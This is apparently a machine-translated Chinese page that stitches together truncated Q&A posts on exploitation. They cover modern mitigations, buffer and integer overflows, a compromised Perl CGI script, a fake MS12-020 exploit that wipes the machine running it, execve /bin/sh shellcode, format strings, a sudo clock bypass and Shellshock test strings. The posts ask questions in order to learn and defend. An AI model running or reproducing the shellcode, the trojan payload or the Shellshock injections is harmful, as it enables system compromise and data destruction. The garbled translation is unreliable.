我已经阅读并完成了两个逆转:逆向工程和黑客的秘密:剥削的艺术.他们都以自己的方式发光,但我仍然觉得其中的很多技术和信息在某种程度上已经过时了.
当臭名昭着的Phrack文章,粉碎堆栈的乐趣和利润,写于1996年,就在我认为计算机安全"黄金时代"之前.
在随后的几年中编写漏洞相对容易.C和Assembly中的一些基本知识是执行缓冲区溢出和在受害者计算机上执行某些任意shell代码所需的全部内容.
说得轻一点,事情已经得到了很多更复杂.现在,安全工程师必须应对地址空间布局随机化(ASLR),数据执行保护(DEP),堆栈Cookie,堆Cookie等等.写入漏洞的复杂性至少上升了一个数量级.
你不能在今天发现的教程中运行大多数缓冲区溢出攻击事件而不用一堆标志来编译来关闭现代保护.
现在,如果你想编写一个漏洞利用程序,你必须设法关闭DEP,用你的shell代码喷洒堆数百次并尝试猜测shellcode附近的随机内存位置.更不用说当今使用的托管语言的普遍性,当涉及到这些漏洞时,它们更加安全.
我希望将我的安全知识扩展到为十年之久的系统编写玩具漏洞.我无法找到有助于解决面对我在上面概述的所有保护措施时编写漏洞利用问题的资源.
什么是更先进和流行的论文,书籍或其他资源,致力于应对为现代系统编写漏洞的挑战?
有没有人详细解释如何利用整数?我已经阅读了很多关于这个概念的内容,我理解它是什么,我理解缓冲区溢出,但我不明白如何可靠地修改内存,或者以修改应用程序流的方式,通过使一个大于它定义的记忆....
我刚刚在我的一个web目录中发现了一些奇怪的PHP文件.他们原来是垃圾邮件发送者利用文件.
他们自2006年以来一直在那里,大概是我使用我的CGI剧本进行高调的捐赠活动.并且文件放在脚本的可写目录中,因此我怀疑我的脚本可能已被某种方式利用.
但是我正在使用Perl"污点检查",严格等等,而且我永远不会将查询数据传递给shell(它永远不会调用shell!)或使用查询数据为OPEN生成文件路径...我只我在脚本中直接指定的OPEN文件.我确实将查询数据INTO写入文件作为文件内容传递,但据我所知,这并不危险.
我盯着这些脚本看不到任何东西,我研究了所有标准的Perl CGI漏洞.当然,他们可能以某种方式获得了我的托管帐户的密码,但事实上这些脚本放在我的CGI脚本的数据目录中让我怀疑脚本.(此外,他们"以某种方式"获取我的密码是一个更可怕的解释.)此外,在那段时间,我的日志显示许多"警告,从非PayPal地址收到的IPN"消息,这些IP来自俄罗斯.因此,似乎有人至少在尝试破解这些脚本.
涉及两个脚本,我将它们粘贴在下面.任何人都可以看到任何可能被利用来编写意外文件的东西?
这是第一个脚本(用于接收PayPal IPN并跟踪捐赠,还跟踪哪个网站产生的捐款最多):
#!/usr/bin/perl -wT
# Created by Jason Rohrer, December 2005
# Copied basic structure and PayPal protocol code from DonationTracker v0.1
# Script settings
# Basic settings
# email address this script is tracking payments for
my $receiverEmail = "receiver\@yahoo.com";
# This script must have write permissions to BOTH of its DataDirectories.
# It must be able to create files in these directories.
# On most web servers, this means the directory must …Run Code Online (Sandbox Code Playgroud) 缓冲区溢出如何用于利用计算机?
我理解程序存储器的某些部分是被覆盖的,但是我不知道这会导致一个人执行自己的代码.此外,第三方的恶意代码必须用目标处理器汇编语言编写吗?
它声称是MS12-020漏洞,我在我的机器上测试了它.显然,它似乎破坏了运行它的操作系统.
仅查看此代码的某些部分并不表示任何恶意代码,因此我请求您的帮助.
它到底在做什么,我将如何恢复系统?
编辑:它不会破坏目标机器; 它会摧毁运行它的机器.如果我要搜索MS12-020是什么,我会得到大量的信息!
rm -rf /在了解中.#!/usr/bin/env python
# rdpsmash.py
# MS12-020 RDP exploit, remote code execution
# Confirmed working on all pre-patch boxes, XP to 7
#
# Author: Verye
import struct
import socket
import sys
trigger = "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\xf1"
trigger += "\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63"
trigger += "\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a"
trigger += "\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f"
trigger += "\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73"
trigger += "\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c"
trigger += "\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70"
trigger += "\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61"
trigger += "\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33"
trigger += "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32"
trigger += "\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e"
trigger += "\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39"
trigger += "\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e" …Run Code Online (Sandbox Code Playgroud) //shellcode.c
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() {
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
Run Code Online (Sandbox Code Playgroud)
谁能给我一个更好的解释?
我最近了解到可以将数组注入PHP GET变量来执行代码吗?
.php?a[]=asd&a[]=asdasd&b[]=$a
这就是我给出的榜样.我不知道它是如何工作的,并且想知道这是否可能?
给出代码片段:
int main()
{
printf("Val: %d", 5);
return 0;
}
Run Code Online (Sandbox Code Playgroud)
有没有保证编译器会存储"Val: %d"和'5'连续?例如:
+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| ... | %d | ' ' | ':' | 'l' | 'a' | 'V' | '5' | ... |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+
^ ^ ^
| Format String | int |
Run Code Online (Sandbox Code Playgroud)
这些参数究竟是如何在内存中分配的?
此外,printf函数是否相对于格式字符串或绝对值访问int?例如,在数据中
+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| ... | %d | ' ' | ':' | 'l' | 'a' | 'V' | '5' | ... |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+
^ ^ ^
| Format String | int | …Run Code Online (Sandbox Code Playgroud) 我正在编写一些高度可移植的安全代码.我试图避免实用程序中的安全漏洞,例如在某些版本中找到的这个sudo:
...通过运行
sudo -k然后将系统时钟重置为01-01-1970,可以成为超级用户.
发生这种情况是因为sudo依赖于绝对(即日历)时间来确定访问是否已超时.
我的想法是使用CLOCK_MONOTONIC定义的time.h.
从POSIX标准来看,
[CLOCK_MONOTONIC]被定义为一个时钟,其值不能通过clock_settime()设置,并且不能有后向时钟跳转.最大可能的时钟跳转应由实现定义.
问题是,在许多(大多数?)系统上,CLOCK_MONOTONIC重启时会重置.是否有任何保证 POSIX兼容的方法来确定自程序上次运行以来系统是否已重新启动?
一种(坏)方法是检查存储的时钟值是否大于当前时钟值,但这只会改变问题.在CLOCK_MONOTONIC重新启动时重置的系统上,可能会有一个TIMEOUT允许访问的短窗口.
我错过了什么可以避免这个问题?
有一个bash版本已被修补shellshock
$ bash --version
GNU bash, version 3.2.52(1)-release (x86_64-apple-darwin12)
Copyright (C) 2007 Free Software Foundation, Inc.
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test
Run Code Online (Sandbox Code Playgroud)
另一个类似的漏洞利用仍然有效,并已被分配到CVE-2014-7169
$ env X='() { (a)=>\' bash -c "echo date"; cat echo
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error …Run Code Online (Sandbox Code Playgroud)